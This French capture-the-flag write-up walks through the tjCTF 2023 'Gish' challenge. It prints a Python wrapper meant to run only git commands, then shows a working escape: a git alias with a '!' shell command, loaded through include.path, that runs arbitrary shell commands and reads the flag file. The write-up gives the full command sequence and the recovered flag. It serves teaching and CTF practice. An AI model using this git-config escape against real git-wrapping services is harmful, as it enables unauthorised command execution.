Cover Image

tjCTF 2023 - Gish


Dans cet article, nous allons explorer le déroulement pas à pas (walkthrough) du challenge MISC ‘Gish’ proposé lors du tjCTF 2023.

Énoncé

Dans ce challenge, on nous a donné un fichier qui contient le code source de l’application à exploiter.

Voici ce que contient run.py:

#!/usr/bin/python3
import sys
import shlex
import subprocess
from os import chdir

chdir('/srv/')
print('please enter your script, terminated by the word "end"')
sys.stdout.flush()
script_lines = []

while True:
  next_line = sys.stdin.readline().strip()
  if next_line == 'end':
    break
  script_lines.append(next_line)
print('script entered')
sys.stdout.flush()
for line in script_lines:
  try:
    args = shlex.split(line)
    assert args[0] == 'git'
    output = subprocess.check_output(args, timeout=10)
    print(output.decode('utf-8'))
  except:
    print('errored, exiting')
  sys.stdout.flush()

Ce script Python est essentiellement conçu pour exécuter une séquence de commandes Git, fournies par l’utilisateur, sur un répertoire spécifique sur le système, en l’occurrence ‘/srv/’.

Il commence par changer le répertoire de travail courant en /srv/ en utilisant la fonction chdir de la bibliothèque os. C’est le répertoire sur lequel les commandes Git seront exécutées.

Le script demande ensuite à l’utilisateur d’entrer une série de commandes Git, une par ligne. Ces commandes sont lues depuis l’entrée standard (sys.stdin.readline()), dépouillées de tout espace blanc en tête ou en fin de ligne (.strip()), et ajoutées à une liste script_lines pour une exécution ultérieure.

L’utilisateur indique qu’il a fini d’entrer les commandes en tapant le mot “end”.

Une fois toutes les commandes recueillies, le script parcourt chaque commande dans script_lines. Pour chaque commande, il fait ce qui suit :

Il utilise d’abord shlex.split(line) pour diviser la commande en une liste d’arguments. shlex.split() est utilisé ici car il divise la ligne en arguments de manière similaire à la façon dont un shell Unix le fait, ce qui permet de prendre en compte les citations et les échappements.

C’est une manière “sûre” de prévenir l’injection de commandes, car elle traite correctement les chaînes citées et échappées.

Ensuite, il vérifie que le premier argument est ‘git’, pour s’assurer que seules les commandes Git sont exécutées. Cette vérification est réalisée par assert args[0] == 'git'.

Enfin, il tente d’exécuter la commande avec subprocess.check_output(args, timeout=10). subprocess.check_output() exécute la commande et renvoie sa sortie. Le paramètre timeout=10 est utilisé pour s’assurer que la commande ne s’exécute pas indéfiniment ; elle sera interrompue si elle n’a pas terminé dans les 10 secondes.

Si quelque chose ne va pas lors de l’exécution de la commande (par exemple, si la commande n’est pas une commande Git valide, ou si elle dépasse le délai d’exécution), une exception sera levée, et le script affichera “errored, exiting”.

Stratégie

Donc le but ici est d’exploiter directement git pour pourvoir executer notre code arbitraire.

En cherchant sur Internet pendant un bon moment, je suis tombé sur cet article: https://pilot34.medium.com/store-your-git-hooks-in-a-repository-2de1d319848c

En somme, cet article explique comment configurer et partager des crochets (ou “hooks”) Git dans une entreprise ou une équipe de développement. Les hooks Git sont des scripts qui sont exécutés automatiquement à chaque fois qu’un certain événement se produit dans un dépôt Git, comme un commit ou une fusion.

En général, chaque développeur doit configurer ses propres hooks Git, mais l’auteur propose une solution pour configurer les hooks directement dans le dépôt afin que tous les développeurs les aient automatiquement. De plus, chaque modification apportée aux hooks sera également automatiquement intégrée par tous les développeurs.

Exploitation

Pour exploiter la vulnérabilité dans ce défi, nous allons utiliser les hooks Git pour exécuter notre code arbitraire. Nous utilisons la méthode décrite dans l’article mentionné précédemment pour configurer le hook directement dans le dépôt.

D’abord, nous initialisons un nouveau dépôt Git avec git init. C’est nécessaire car nous devons avoir un dépôt Git pour utiliser les hooks Git.

Ensuite, nous définissons les paramètres utilisateur avec git config --global user.email "root@chocapikk.com" et git config --global user.name "Chocapikk". Ces commandes sont nécessaires pour que nous puissions effectuer des commits.

La commande git config -f .gitconfig core.hooksPath hooks indique à Git d’utiliser les hooks que nous allons configurer dans le répertoire “hooks”.

Ensuite, nous créons un alias Git nommé pre-commit qui sera exécuté chaque fois qu’un commit est effectué. L’alias est défini avec git config --local alias.pre-commit '!echo $(cat /flag-*)', ce qui signifie qu’il va afficher le contenu du fichier qui commence par “/flag-” chaque fois qu’il est exécuté.

Puis, nous utilisons git config --local include.path ../.gitconfig pour indiquer à Git de charger la configuration à partir du fichier .gitconfig que nous avons créé.

Enfin, nous exécutons notre hook pre-commit avec git pre-commit. Cela affiche le contenu du fichier de drapeau, qui est la solution à ce défi.

Ces commandes sont exécutées à travers un shell interactif obtenu grâce à la commande ncat --ssl gish-1ca03b1caddbda3e.tjc.tf 1337.

Nous terminons l’interaction avec le script run.py en tapant “end”, comme le script le demande.

Et voilà ! Nous avons exploité la vulnérabilité et obtenu le drapeau.

Exemple:

$ ncat --ssl gish-a3e84ae9bec71224.tjc.tf 1337
please enter your script, terminated by the word "end"
git init
git config --global user.email "root@chocapikk.com"
git config --global user.name "Chocapikk"
git config -f .gitconfig core.hooksPath hooks
git config --local alias.pre-commit '!echo $(cat /flag-*)'
git config --local include.path ../.gitconfig
git pre-commit
end
script entered
Reinitialized existing Git repository in /srv/.git/






tjctf{uncontrolled_versions_1831821a}

Le flag est donc tjctf{uncontrolled_versions_1831821a}